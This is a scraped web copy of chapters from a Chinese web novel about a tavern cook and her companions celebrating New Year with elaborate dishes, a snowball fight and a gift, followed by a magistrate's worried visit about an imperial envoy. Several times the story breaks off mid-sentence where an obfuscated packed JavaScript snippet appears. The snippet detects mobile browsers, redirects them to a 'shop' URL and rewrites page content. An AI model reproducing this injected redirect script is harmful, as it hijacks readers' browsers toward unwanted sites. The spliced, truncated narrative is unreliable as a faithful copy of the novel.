“我。。。”杜少仲仰着脑袋仔细回忆着,突然屋外传来一声大叫。 “呜呜呜!我不活了我要和他断绝兄妹关系!”马陶陶一双丹凤眼都快哭成了眯缝眼,红红的看着怪可爱的。 “我也不活了。”杜少仲死活想不起来自己吃过什么,生无可恋地瘫在床上。 “你俩怎么了?”闻声赶来的张清寒叹气道,一年前他身后是杀人不眨眼的皇城司,一年后他眼前是两个哭哭咧咧的大活人。 “我哥哥他,他又给我来了封信,说什么在北戎有事耽搁了,这个年就不回来了,这个大骗子!”马陶陶哭个不停抽抽噎噎道。 “对了!她哥哥!我知道了!”杜少仲惊从病中起,差点又从床上摔下来。 “你吃了她哥哥?”程六水挑眉撇嘴道。 “。。。那倒没有,我吃了她哥哥托商船寄过来的臭果子。”杜少仲舔了舔嘴唇道,似是还在回味。 “什么臭果子?”程六水眉毛都快皱成蜡笔小新道。 说到这臭果子,马陶陶不自觉也低下了头,她不是故意吃独食的,只不过是那果子闻着臭吃起来属实是香甜软糯,她本来就想吃一口结果是一口接一口,正巧碰到了刚刚酿好新酒的杜少仲,两人一起吃了起来,不知不觉便吃完了。 “所以你们两个吃了一个浑身长满刺闻起来臭臭的果子?那不就榴莲吗?”程六水扶额道。 “何为榴莲?”张清寒倒是来了兴趣问道。 “南洋诸岛盛产此水果,我曾经吃过确实不错,那我明白了杜二二昨夜酿好新酒便尝了几盏,再吃了榴莲可不得气血逆行嘛,这俩物本来就是相克的,我看就你这身子骨赶路怕是有点费劲了。”程六水摇了摇头道。 果不其然杜少仲三四天没起来床,只得给老父亲去信一封,留在酒楼过年待到开春再去归家探望。而马陶陶则是一边咒骂自己不靠谱的哥哥,一边看着任自己欺负的乔四方心情大好。 故而大年三十的酒楼依旧十分热闹,众人在那剪窗花放鞭炮,而程六水则在后厨忙碌着,本来赵玉雨还在一旁打下手,不知怎的这打下手的就变成了张清寒。 程六水倒是无所谓,今日过年她可要做些硬菜,硬掉他们一众人的大牙。她特意取出一条猪里脊来做锅包肉,这里脊要选精瘦肉红的才好,纹理清晰这猪定是头爱跑圈的猪。 故意横着里脊的纹理切成不薄不厚的肉片,轻轻拿擀面杖敲打着肉片,将这紧致的猪猪肉拍松,这样吃起来才是最为嫩滑的,接下来就是腌肉了,猪肉定是要去腥的,自然来点黄酒生姜胡椒粉最好,再加点盐巴调味一二。 将那腌制好的肉片裹上沾湿的土豆淀粉,再加上一小勺豆油,这样炸出来的锅包肉才会更为酥脆,软软的嫩肉在淀粉里裹满了一层又一层,就可以奔向油锅了。 这炸肉是极有讲究的,一般都是要炸两次的,第一次下锅炸熟炸透,第二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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程六水这边抽离的倒是快,端起两片鱼肉和鱼头就放进了黄酒姜片葱段中,凡是大荤都得来这里过上一遭,才能去了腥气。 这次同炸锅包肉不同,炸这鱼另有讲究,首先得把这鱼上的黄酒擦净了,裹上许多干淀粉,裹得时候抖一抖,那开好刀的鱼肉甚是每一处都沾上了干淀粉,这样炸出来才能愈发酥脆。 程六水提溜着鱼尾,小心翼翼地用勺子将热油浇到鱼肉上,那开过刀的鱼肉便开始炸开,这还不算完呢,最后再将鱼皮朝上鱼肉朝下微微弯曲着将其滑进油锅,油锅里瞬间滋滋作响,约摸半炷香的功夫这鱼就炸好了。 此时前些时日熬的西红柿酱就派上了用场,酸甜的西红柿酱在热油中煸炒出最为清新解腻的味道,在加上些白糖白醋盐巴清水,再来勺淀粉勾芡,那料汁油亮浓稠,往炸好摆好造型的鳜鱼上一浇。每一颗饱满炸开的鱼肉都裹上了这酸甜可口的料汁,屋外诸人早已被激得频频张望了。 屋外此时可谓是大红灯笼高高挂,朱红窗花胡乱剪,大家自己手里的事也弄得七七八八了,闻了香味哪里能受得了啊,一股脑全都涌到了后厨。 “六水我能做什么!” “我也要打下手!” “我会做藕圆子。” 几个人众说纷纭地大献殷勤,将本计划与六水一同烹饪日久生情的张清寒挤到了最边边角角的位置,全然不顾这位东家脸上铁青的脸色。 而这其中最先察觉到张清寒对程六水情愫的赵玉雨杏眼一敛,故意装作没看见,没看见就是不知道。 “你们来得正好,我等下还要做四喜丸子,藕圆子,松仁玉米。”程六水开心地招呼大家过来。 力气大得很的乔四方被安排去了剁馅,那肉是程六水挑的不肥不瘦正好,而杜少仲双手灵活已经拿起苞米咔嚓咔嚓搓了起来。 许是这人之前没搓过玉米,那叫一个起劲啊,本来就是六个人,顶多搓两根苞米就行了,这人偏生勤奋得很,一下子搓了四根。 而在他旁边的马陶陶更是拎了个大棍子开始棒打深秋收回来的向日葵了,那葵花上全是饱满大个儿的葵花籽,一个大棒下去一半葵花籽就下来。 赵玉雨是这几人里面最有做饭经验和天赋的,自然不遑多让地做起了藕圆子,取自江陵最为出名的粉藕,洗净去皮剁成藕茸,只听这厨房里哐哐菜刀的声音,不知道的还以为是赵玉雨剁负心汉呢。 剁完藕要赶紧挤干水分放入大盆中,大盆里加入姜末葱花白胡椒粉还有那调味的清酱盐巴,再加入刚才挤干净放在一旁的藕粉,几勺糯米粉也放进去,用手抓匀揉成一个个藕圆子。 赵玉雨手巧得很,那藕圆子揉得大小几乎是一模一样的,轻轻沾水便放入油锅里炸两遍,清香的粉藕混合这个菜籽油的香气,飘荡着整个后厨里。 贪吃的杜少仲一边坐在板凳上搓玉米,一边悄悄探头伸出一只贼手来偷吃,也不怕烫着自己。 街里鞭炮声四起,欢声笑语间酒楼一众人就在小小的后厨里坐着年夜饭,而程六水则也没闲着,她前世是北方人,北方人过年最不能缺的就是饺子,她让乔四方多剁了些肉馅,在里面放上水灵灵的细细碎碎的大白菜,一边搅馅一边加入葱花姜末盐巴香油。 张清寒在旁边弄着饺子皮,这饺子皮怎么做还真是他半夜学的,他生怕自己又成了当初那个什么菜也不会做的东家,在六水面前连个饺子皮都不会弄,实在太丢脸了。 “东家,你这手艺确实可以啊,这面呢活得正正好好,不软不硬你看捏一个饺子就能捏上,哎东家你怎么不包饺子啊?”程六水问道。 “。。。”张清寒想说自己光学会饺子皮怎么做了,至于包饺子貌似昨夜忘学了,那食谱里也没教这些啊,殊不知他昨夜翻得食谱中间有一页是粘上的。。。 43. 第 43 章 天色渐暗,白日里明灿灿的阳光藏在厚重的云层中,悄悄支起后厨窗缝,便有冷飕飕的北风往里钻,打得那地上的炭盆都暗淡了几分。 马陶陶的脸被吹得生疼,却反常地并没有牢牢关严窗子,她睁圆了好看的丹凤眼,大声叫嚷道,“下雪了!” “什么?”众人从各自的忙活中抬起头来,程六水顾不得手上的面粉,蹦蹦跳跳地跑到了窗前,裹了裹自己的小红袄,探头看向窗外。 漫天的鹅毛大雪飘散开来,装点着临街牌匾上的大红灯笼,莹黄的烛光透过灯笼照在纯白的雪花上,青石板的地上不知何时早已积了厚厚的一层雪。 家家户户早就回了自家院里守岁,天上白花花的一片,地上亦是白花花的一片,唯有那燃尽的爆竹散落了一地的红,红得乍眼喜庆。 一伙形迹可疑的酒楼伙计们推开了院门,在这白花花的雪地上歪七扭八的走着,一个个冻得嘚嘚瑟瑟还不罢休,非要出来凑凑这瑞雪的热闹。 “哎呀这地好滑!”马陶陶蓄了厚厚一层棉的鞋子暖和是暖和,可江陵并不多雪,故而那鞋底半点都不防滑,白雪皑皑下是那薄薄的冰层,那真叫脚打粗溜滑啊。 就在她正张牙舞爪,下一刻就要摔得人仰马翻之际,一只纤细却极为有力的手拽住了她扑扇的手臂,牢牢地救她于水火之中。 马陶陶眼睫都被雪花糊住了,心有余悸地蹲在地上拍了拍自己的胸脯,她虽久居京中,京中位于北方冬季多风雪,可她是大门不出二门不迈的皇商家小姐,凡是所去之地,哪里都是扫净了雪除去了冰的,如此新奇的体验还真是前所未有。 她抬起头来,看向一旁气定神闲脸蛋冻得通红的程六水道,“好险好险,要不你救我,我差点就摔地上了。” “嘿嘿你没摔地上,倒是有人摔了个狗吃屎。”程六水咧着嘴笑地前仰后合,那嗷嗷的北风顺着就往她嘴里灌啊。 朝着程六水的目光看去,酒楼三位人高马大的青壮年男子们,仿若碰碰车般你拉我一下,我拽你一下,几番拉扯竟还难舍难分,人人都没安好心思,见了雪就发了疯忘了情了,什么大官翰林的早就抛到九霄云外去了,恨不得在雪里狂奔,最好再把自家兄弟扔雪堆里。 “他们是不是疯了?”赵玉雨小碎步,宛如一只北极矮个燕尾鹅一样,不紧不慢地挪到了马陶陶身旁道。 程六水故作高深地摸起下巴道,“不知道哎,不过我不介意让他们更疯一点。”说罢,只见她高举了一个大大的雪球,那雪球定是精心捏压过的,那叫一个瓷实,程六水此刻仿佛成为了一名铅球运动员,小红袄下矫健的身姿尽显,鹅毛大雪挡住了她明亮的视野,不远处那三人都快扭打起来了,摔得夹袄上都是雪还乐此不疲。 一个比铁球还大的雪球从天而降,这三个男人来不及四散开来,就被命中了,最惨的莫过于身手最为笨拙的杜少仲,“啊!谋财害命啊!” 杜少仲哀嚎着捂住了自己的屁股,可怜兮兮地看向雪天一色里最为显眼的那抹红色,又望向为了躲避雪球早已摔成狗吃屎的乔兄弟,“哈哈哈哈乔大壮,你怎么还啃地呢?” 乔四方摔得懵懵的,来不及思考就开始反击,手里的雪球瞬间砸向了杜少仲,结果杜少仲这回学乖了,身姿轻盈十分灵活地一躲,雪球就以每秒九米八的速度扑到了正给自己身上掸雪的张清寒身上。 顿时几个人乱做一团,就连走都走不明白的马陶陶都未能幸免,她是一边跑一边摔啊,最后重重砸在了乔四方身上,“叫你砸我?你这小家雀胆子还挺肥,还敢砸我?” “啊啊啊啊救命啊,我是小家雀,你是老家雀?”乔四方一边在雪地里趴着逃命般鬼哭狼嚎,一边还真诚地发问道,显然换来的是更多的雪球。 而程六水作为这场打雪仗的始作俑者,很快就被在雪中都能如履平地的张东家捉住了。 张清寒极白的脸上泛着红晕道,“你跑得还挺快?” “哪有东家跑得快啊,我在您面前那真是插翅也难逃啊。”程六水又开始咧着嘴乐得十分真诚。 这一笑直接晃到了张清寒本就意志不坚定的内心,他温柔地看向程六水,哪里还忍心将雪球扔进这小妮子的脖领子里啊,想必连雪球都扔了。 “那我就不客气了!哈哈哈哈哈!”程六水一个灵活地转身,两个硕大的雪球就砸进了张清寒的夹袄里,整条街都是程六水诱敌深入奸计得逞的狡猾笑声。 “别打我别打我,我认输。”杜少仲半点都不讲体面了,一屁股坐在台阶上,看着正朝他走来的赵玉雨一个劲儿求饶道。 赵玉雨扑哧一下笑了出来,亮亮了自己空空如也的双手道,“放心吧,不打你。”她也坐在了台阶上,抱着膝盖支着下巴望着遥远的天,近处的人,这样鲜活热闹的生活才是真真的人间烟火吧。 她又转过头看向两只手揣进一只袖子里的杜少仲,思绪不禁飘向数年前,那时她便见过杜少仲,亭台楼阁间遥遥一见,当真是翩翩浊世佳公子,但杜少仲却未曾见过她,她的身份是出不了内院的。 再见之时,便是在这个名不经传的十全酒楼中,佳公子成了酿酒师傅,没了仙气下了凡尘,脸上的笑倒是更真了。 正当赵玉雨欲收回目光时,耳边却传来了杜少仲的声音,“我们是不是曾经见过?” 杜少仲神情轻松,仿佛只是随意一问,可却宛如一声惊雷砸在了赵玉雨的心中,顿时无数火焰灼烧着她。 “我不记得了。”赵玉雨杏眼微眯,手指不自觉地摩挲着衣摆道。 杜少仲若有所思,当真是在回忆着到底是什么时候见过赵玉雨呢?难不成真是自己这脑袋瓜被雪球打傻了。 然后他就被赵玉雨手中脸盆那么大的一个雪球砸中了,“啊啊啊啊你不说不打我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我先前吃过这拔丝地瓜,那是山里的婆婆做的,做的香甜软糯,丝拔得也长,能有一两尺,那时我们师兄弟们还攀比谁拔得长呢。今日见你做这道菜,才想来试试拔丝,不曾想竟能拔这么长。”张清寒站得极高低下头道。 程六水手里那碗清水差点没端稳,她怎么有种不太好的预感呢? 然后除了她以外的所有人,都开始小心翼翼地夹着拔丝地瓜,誓要比出高低看看到底是谁拔的丝最长。 程六水都想闭上眼睛,当作这一切不曾发生过,她到底为什么要做这道小孩菜啊?人家小孩起码还能正儿八经地吃地瓜,而她的这群朋友们连吃地瓜都不会,光在那比赛了。 这场比赛最终以张清寒拔得最长获胜,六尺七,随后每个人夹着的地瓜都被程六水强行放进清水碗里。 “玩!就知道玩!都给我吃,谁都不许浪费粮食!”程六水恶狠狠地按着众人道。 44. 第 44 章 炭盆噼里啪啦地响着,程六水吃饱喝足正窝在圈椅里嗑瓜子,越嗑越昏昏欲睡,方才玩得太疯太野,再被这热炭一烘,小脑袋瓜都要挺不住了,硬生生被瓜子皮戳中了下巴怪疼的。 她这才迷迷糊糊睁开眼睛,一旁的马陶陶靠在她的肩膀上早已睡得小脸红扑扑的,迷蒙中远处有个人影轻柔地将厚厚的毯子盖在了自己和陶陶,“玉雨困困。” “你俩都睡了快一个时辰了,马上就要子时了。”赵玉雨温婉一笑,手指拨开了程六水脸上散落的发丝,递了杯水给她。 “子时了?”马陶陶听了这话如同条件反射般迅速清醒了过来。 “是啊。”赵玉雨看着窗外,真好新的一年了,辞旧迎新往后皆是这样平静悠然的日子了。 “陶陶快来放鞭炮!”哒哒从院子里跑来的乔四方,兴高采烈地说道,隆冬严寒也挡不住他的火热。 “鞭炮?是二踢脚吗?”马陶陶仰着脑袋问道。 “当然了。”话音刚落,只见这两人宛若炮弹“嗖”的一下就蹿了出去,哪里还有方才的安静模样。 不一会儿,屋外就传来了轰隆隆的震天响,程六水捂住自己的小耳朵藏在毛茸茸的毯子下面不出来,里面暖和和的,甭提有多舒服了,恨不得就此睡过去呢。 热闹繁华的街道空无一人,沿路却到处都是彩带飘飘,远处鞭炮齐鸣锣鼓喧天的声音渐渐传来,程六水踩在一条望不到头的路上,直觉告诉她只要走下去,前方总有她想要的东西。 天青色的石路上每行进一步,便绽放出繁盛夺目的花儿,程六水却并不在意,她只是走啊走,越走越轻盈,直到那漫天的金光照耀在她的脸上,她才恍然大悟抬起了头。 天啊,这原来是一座金山啊,数不清的金砖垒成了堡垒的模样,在阳光下熠熠生辉,程六水屏住呼吸,手指小心翼翼地戳了戳金砖,不可置信地怔愣在原地。 她要有小钱钱了吗!她的钱袋子终于不再是破破烂烂的了吗!那她是不是可以在金山上打滚睡觉了。 显而易见的傻笑出现在了程六水的脸上,“嘿嘿嘿我的我的都是我的。” 张清寒站在程六水身旁,看着她窝在毯子里闭着眼睛傻乎乎地乐,往日里冷若冰霜的面容也不仅讶然弯起嘴角。 “好好好都是你的。”张清寒戳了戳程六水鼓起来的脸蛋道。 “嗯?”程六水正在金山上翻山越岭呢,猛地被人打断哼哼唧唧地不开心,她抱住一块金砖牢牢地不撒手,可惜一股可恶的漩涡毫不留情地将她与金山分开。 “啊我的小金子!”程六水高声呼叫的声音渐行渐远,她眼角都要留下晶莹的泪水了,在痛恨睁开了眼睛,只见张清寒长身而立,不知何时他又换了身湛蓝夹袄,领边袖口是出得极好的兔绒,毛茸茸的一圈衬得他倒是有些可爱,可他那可恶的手指正在戳弄自己的脸,眼见自己醒来才做贼心虚般的放下。 程六水愤愤不平地想着,这人就算使美男计也没用,那可是金山啊,她这辈子除了在电视里就没见过金山,还没热乎就没了。 “你还我金山!”程六水瞪着双圆眼睛,凶狠地说道。 与此同时,张清寒也开口了,他从怀里取出一个精致非常的檀木盒子,打眼一瞧便见那木盒上雕着花好月圆的图样,“这个送你。” 程六水被这突然的礼物梗住了脖子,好似一只正张牙舞爪支出牙齿的小猫,忽然被喂了一口鸡肉的震惊。 “你不是已经送过我新年礼了吗?”程六水从发髻间取下了一支粉白玉簪,桃之夭夭灼灼其华,宛若从春日枝头攀折而来,巧夺天工栩栩如生。 程六水一见便喜欢得不行,立时跑去向张清寒道谢,嘴里的吉祥话一个劲地往外倒,这不大年三十也要簪在发髻上。 “我前两日偶然见了这臂钏,想着过了年天气愈发暖了,换了轻薄衣衫正好带,就想着送给你了。”张清寒不自然地挑眉道,说罢迅速又低下了头,不敢看程六水脸上的神情,偏偏还藏不住心思,不敢看抬头还要看。 “只给我吗?”程六水心生疑窦,却还是下意识地接过檀木盒子打开,我的天她的眼睛都快被晃晕了,这臂钏怎么金光闪闪,七色宝石镶嵌在其中交相辉映,更别提匠人的精心雕琢了。 这样的臂钏,程六水只在博物馆里看到过,不是哪个妃子就是哪位公主的首饰。 张清寒欲言又止,还未来得及说话,就见程六水脸上非但不见半点喜色,甚至还有一丝凝重道,“东家,你去盗墓了?” “???没有啊。”张清寒被问得满脸懵,一张俊脸瞠目结舌。 “那你不会是对我图谋不轨吧?”程六水缩紧了自己的小红袄,警惕地看向张清寒,无事献殷勤非奸即盗,梦里突如其来的金山只有喜悦,而现实生活中从天而降的金山,往往是有代价的。 “我没有!”张清寒赶忙出言道,焦急地如热锅上的蚂蚁,都不知该如何同程六水解释。 他不会解释,但程六水是个见过猪跑的家伙,于是在大年三十的晚上,张清寒不仅将当今圣上派人千里迢迢送来的赏赐转手送人了,并且还立了字据,那纸上明晃晃写着“自愿赠与”,附赠一个红红的手印。 “嘿嘿东家你真是个好人。”程六水小心翼翼将字据揣到胸前,嘴上说着好话,实则眼睛就没离开过这臂钏,宝贝得很呢。 “我又是好人了?”张清寒虽早就被程六水磨得没了脾气,现下心中也不得不有了一股莫名的冲动,真想敲开这没良心的女人脑袋看看,到底都装了些什么稀奇古怪的玩意。 “当然了你是天底下最大的好人。”程六水心不在焉答道。 “那好人请你去看烟花去不去?”张清寒见程六水这副小财迷样子,不禁好笑地摇头。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16645804|184456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “去!”程六水收好了臂钏,乖乖地等待金主东家的指示。 临近子时,领里邻居都走了出来,孩童们戴着虎头帽提着各式花灯,男人们跑去点高高挂在屋檐上的鞭炮,一个个胆子瞧着大得很,实则点上了火,跑得那是比兔子都快啊。 河对岸放起了漫天烟花,金灿灿好看得很,正如程六水怀里的臂钏般闪耀,她目不转睛地望着天际转瞬即逝却又源源不断的烟火。 “东家谢谢你。”程六水没有转头看张清寒,只是轻声道。 震耳欲聋的鞭炮声中掺杂着这片刻的柔和,张清寒生怕自己听错了,只得大声问道,“你说什么?” 烟火映在程六水莹白的鹅蛋脸上,褪去了没心没肺与狡黠调皮,从未有过的成熟在此刻显现了,“我说,谢谢你让我很安心。” 声音依旧不大,却一字一句地落在了张清寒耳中,张清寒愣了两秒才开口道,“安心?” “安心,有你在我好像不再害怕了。”程六水甜甜地弯起嘴角道,她从来都害怕许多事,没有地方住没有饭吃,不敢肆意地活着,讨喜的笑容背后是时刻的惴惴不安。 但在这里,在这个人面前,她没有了害怕,她只是单纯地活成了自己,想夸他就把他夸到天上,看他不顺眼就踹他两脚。 程六水不知道未来会发生什么,那些都太遥远了,她是个没什么长远目光的人,她只知道过去的许多日子,谢谢有这样一个人出现在自己的生活中,她的背后不再是空无一人了。 张清寒注视着眼前程六水亮晶晶的眼睛道,“我会一直让你安心的。” 程六水只是继续笑着,没有开口说话,看着不远处的马陶陶点起了二踢脚,她赶忙捂住了两个小耳朵,果然没几瞬震天响的炮声就传遍了几条街。 而杜少仲和赵玉雨则追着马陶陶满街跑,谁让这个坏透了陶陶故意拿二踢脚吓他们呢,乔四方是拦也拦不住,只能充当着人肉挡箭牌。 “东家,新的一年工钱涨不涨啊!”程六水此刻仿佛又恢复成了往前的模样,笑嘻嘻地叫嚣着。 “涨当然涨!”张清寒话音不大,可转瞬间他就被一圈伙计扑倒,还没等他反应就径直被抛上了天。 “啊!你们放我下来!”张清寒赶紧道。 “涨工钱!涨工钱!”伙计们的欢声笑语间,张清寒又被抛了好几个来回,抛得他是彻底没了脾气。 大年三十就这般在吵吵闹闹中度过,今年是十全酒楼伙计们一同过的第一个年,每个人都睡在暖和的被窝里,日上三竿都舍不得起来。 大年初五,杜少仲收拾行囊出发去京城向留守老人杜尚书赔罪,临别时他激动异常,话里话外都是要去做一段时间全职儿子的炫耀,随后就一瘸一拐地上路了,腿上的淤青分别来自于找不到哥哥的兄控马陶陶,无父无母的乔四方以及父母丢了的程六水。 45. 第 45 章 阳春三月,冒了新芽的绿柳飘荡在空中,荡得人心里痒痒的,酒楼的生意一如既往地好,但这好中总是有些许波折的,有的时候这波折就连张清寒都招架不住。 方知府年后从京中述职回来,就愁眉不展得很,成天在府衙里转悠来转悠去,时不时还焦躁不安,差点师爷脸上的胡子给揪下来。 他那人好心善的夫人本来是好心安慰的,可惜这人愈安慰愈变本加厉,方夫人直接拿着棒槌给方知府打得五迷三道,差点就倒地不起了,还别说这么一打倒是好了不老少。 春来夜里仍是凉的,可方知府等不了那么多了,连轿子都不坐了,骑了匹快马就朝着十全酒楼而去,许是跑得太急,柳絮糊了一脸一个劲地打喷嚏。 酒楼此时早已打了烊,一伙人正在享用着迟来的晚餐,今日菜色真可谓是万绿丛中还是绿啊,香椿炒鸡蛋,油焖春笋,凉拌马兰头,最后再来上一道荠菜豆腐汤。 方知府越过山穿过河,一下子便推开了酒楼的大门,只见张清寒系着围裙正在忙前忙后地端菜,他那白皙的脸上不知何时竟还蹭得灰扑扑的。 “张老弟啊,你得救救老哥我啊!”方知府无视着眼前堪称诡异的一幕,壮着胆子说道。 “方大人?吃了吗?”张清寒倒是波澜不惊道,他又盛了碗米饭递给了方知府。 方知府只能按捺住心中的七上八下,老老实实地也坐到了饭桌上,低头一瞧好家伙这碗里的饭怎么是糊得都有点黑黢黢了。 “那个。。。”方知府决定还是先保住自己的肚子,再保住自己的命比较好,小声开口道。 此时伙计们也饥肠辘辘地从各处赶来,马陶陶见了方知府笑盈盈地行了一礼,而乔四方傻呵呵地笑着,唯有赵玉雨眼尖道,“大人我给您换一碗吧。” 结果一看盆里就没有不糊的饭,最好的也是糊成了锅巴底子。 张清寒难得地笑了笑,颇为不好意思道,“今天又做糊了。” 众人倒是习以为常,省略了讶然地面面相觑,个个瞅着眼前空空如也的饭碗,无声地抗议着。 方知府瞪大了双眼,不可置信地看着这一圈老老实实坐着的伙计,以及宛如被奴役的张清寒道,“张老弟,什么叫又?” “又,就是已经好几天都做糊饭了。”程六水从后厨不紧不慢地赶来,端着两盘刚热好的白面馒头道。 紧接着又道,“方大人莫要多想,酒楼本就事多,后厨又只有我一人,常常是忙不过来的,东家人是顶顶好的,过完年就想着多学些厨艺,也好搭把手。” “啊!”方知府这才放下心来,可又笑不出来,这离过年都过去一个多月了,厨艺就学了个这?未免也太说不过去了,这还是他认识的冷面煞星张清寒吗? “大人莫要客气,今日这些春菜都是四方一大早去山上采得,就是吃个新鲜劲。”程六水笑道 方知府悄咪咪地看了看张清寒的眼色,只见那张清寒压根就没看自己,更没功夫问自己的来意,整个人整颗心全砸在了说话的小厨娘身上了。 可偏偏奇了,这小厨娘好似是山一重水一重,重重屏障竖在身前,半点也没感受到那身后说不尽的情意绵绵。 方知府咽下心中的惊讶道,“不客气不客气,是我叨扰你们了。”随即笑着将那碗里的糊饭倒了回去,挑了个又大又圆的白面馒头,毫不客气地就咬了一口,好吃! 再一低头,只见那桌面上的筷子们“嗖嗖”地飞起,比他见过的锦衣卫飞得还快,在那些个绿叶菜上嘁哩喀喳地飞舞着。 方知府这才赶紧下筷,一筷子就抢到了一块大大的鸡蛋,这鸡蛋入口鲜嫩至极,炒得火候正正好好,多一分老了少一分没熟,最关键的是这鸡蛋里不知加了什么野菜,竟有种别样的清香,乍一吃微微涩口,再一抿便是满口的回甘,他活了三十余年都没尝过这等滋味。 咸淡也调得恰到好处,没放什么清酱豆酱,只是单纯的盐巴便足矣了。 他是吃了一口还想吃第二口,筷子又是夹出去,眼睛却从这盘鸡蛋越了过去,一旁的油焖春笋正在朝他招手。 这道菜方知府是年年都吃的,人吃五谷杂粮三餐四季,有人爱秋来桂花蜜,有人爱夏间一汪水的小青菜,而他就好吃笋,尤其是这春笋,雨后在林子里冒出了头,层层拨开露出里面最为柔软的笋心,用油那么一焖啊,是怎么吃也吃不够的。 许是他这眼神过于饥饿,张清寒摇了摇头,好心地给方知府夹上了一筷子道,“方大人,如今歇匀了气,不如说说宵禁时分前来所为何事啊?” 方知府此时正吃着春笋呢,清酱赤红油宽泛亮,瞅着就勾人的美味,轻轻一咬果然了是今早新摘的,格外的清脆爽滑,多而不厚重的菜籽油混着咸香,咸中又夹杂着白糖的鲜甜,明明是不加荤腥的一道菜愣是做得比肉还好吃。 人在吃到极为美味的食物时,大脑都是宕机的,方知府的眼神里闪烁着智慧的光芒,呆滞了片刻才想起了此行的来意道,“我这次来还真是有事。” “何事?”张清寒紧接着问道。 方知府环顾了一圈拄着下巴好奇的伙计们,递了个眼神给张清寒。 “无事说吧。”张清寒点了点头道。 方知府这才清了清嗓子开口道,“我年关底下循着惯例回京中述职,本是过了年欢欢喜喜的事,可事情就发生在我启程归来的前一日。那一日,我本在采买夫人嘱托要买的京中各色特产,在那长安街上转到一半,忽然就被拦住了,你们猜这拦我的人是谁?” “谁啊?能把朝廷五品官拦住,定然不是等闲之辈,莫不是宫里的?”马陶陶机灵的小脑瓜转了转道。 “姑娘甚是聪慧啊,正是宫里的消息,可来人既不是内侍也不是守卫,竟是位年轻姑娘,和姑娘你差不多大。”方知府紧接着说道。 “若是位姑娘,那方大人你可是交了好运了。”张清寒忽而笑道,他大抵已然猜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16645805|184456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出是谁找了这位方大人。 “张老弟你就别挖苦我了,我见那姑娘身着华贵,对着我话都不多说半句,直接亮了令牌将我带走了。我就是个五品官,在那皇城根底下,一板砖下来一半都是比我大的,我哪里见过这个阵仗啊。”方知府想到此处,仍心有余悸,不自觉地给自己顺了顺胸口。 “那后来呢?如果是宫里的贵人召见,大人你如今又全须全尾地坐在这,想来召你也不是什么坏事。”程六水若有所思道。 “怎么说呢,我吧我是个没什么身世背景的人,寒门出身为官多年,在官场上向来谨小慎微,甚少与那些权贵之人结交。”方知府不好明说,欲言又止道。 张清寒饮了一盏茶,嘴角噙着笑道,“方大人不必如此小心,此处没有旁人,就算有也都是我的人,没人会将今日之事告知他人,况且你要说的也不是什么不可告人之谜。想来那寻你的人是皇后娘娘的女官,这些年朝中党争颇为激烈,文官清流骨子里向来清高,从不将手握权力的皇后娘娘放在眼里,而户部军中却是皇后娘娘的亲信,当然了我也是。” 程六水睁大了眼睛不停地眨呀眨,我的个天老爷啊,怪不得这位曾经手握重权的东家来了这酒楼呢,好家伙都掺和到帝后之争里去了,她好歹是在现代看过好几百集历史剧宫斗剧的人,能从党争里全身而退的人没几个啊。 不过从她过往的记忆来看,这位皇后与当今陛下相识于微时,两人历经生死才有情人终成眷属,况且皇后出身本就不差,前户部尚书之女,母家又在西北军中根深蒂固,民间传言当今陛下顺利登基,也有皇后的一份功劳。 如此帝后,竟然也会相争吗?难不成这就是可怕的权力,啧啧啧好怕怕,程六水默默地喝了口荠菜豆腐汤压压惊。 “对啊,张老弟就因为你是皇后娘娘的亲信,这皇后娘娘召了我去,给我吓得差点趴在文德殿里。”方知府现下吓得都出了一头汗。 “你莫慌,皇后讲理得很,她说什么了?”张清寒问道。 “娘娘说,年后她要亲派御使来江陵,一来看看这江陵人文治理是否得益,光是我去述职是不够的,必得细细勘察;二来要来瞧瞧你在江陵待得如何了。”方知府越说越小声,气都快没了。 “张老弟,你可要救我啊,我这一年兢兢业业是绝对不敢懈怠的,可御使是什么脾性我又哪里知道,万一他告我一状,我可不就完蛋了吗?”方知府哭丧个脸又道。 “放心,皇后娘娘要是如此是非不分,她也做不到如今这样,但你说的御使?你可知要派谁来吗?”张清寒面色平静道。 “知道知道,说是派伯远侯府白家来。”方知府赶忙答道。 此言一出,在场所有人皆愣住了,乔四方在无人察觉时一不小心把筷子掰断了,而马陶陶则心虚地低下了头,赵玉雨浑身微微颤抖着一言不发,而程六水脑海中的记忆飞速运转着,一幕幕闪过最后落到了一位似曾相识的少年郎身上。 46. 第 46 章 伯远侯府白家,前朝之时威名不显,在京中那公府侯府里只将将占个中游,先祖虽是随大乾开国皇帝风里来血里去的,封了个侯爵的爵位。 等传到前朝老侯爷那处,就没什么加官进爵的大志气了,老老实实地守着自己的荣华富贵不折腾了。 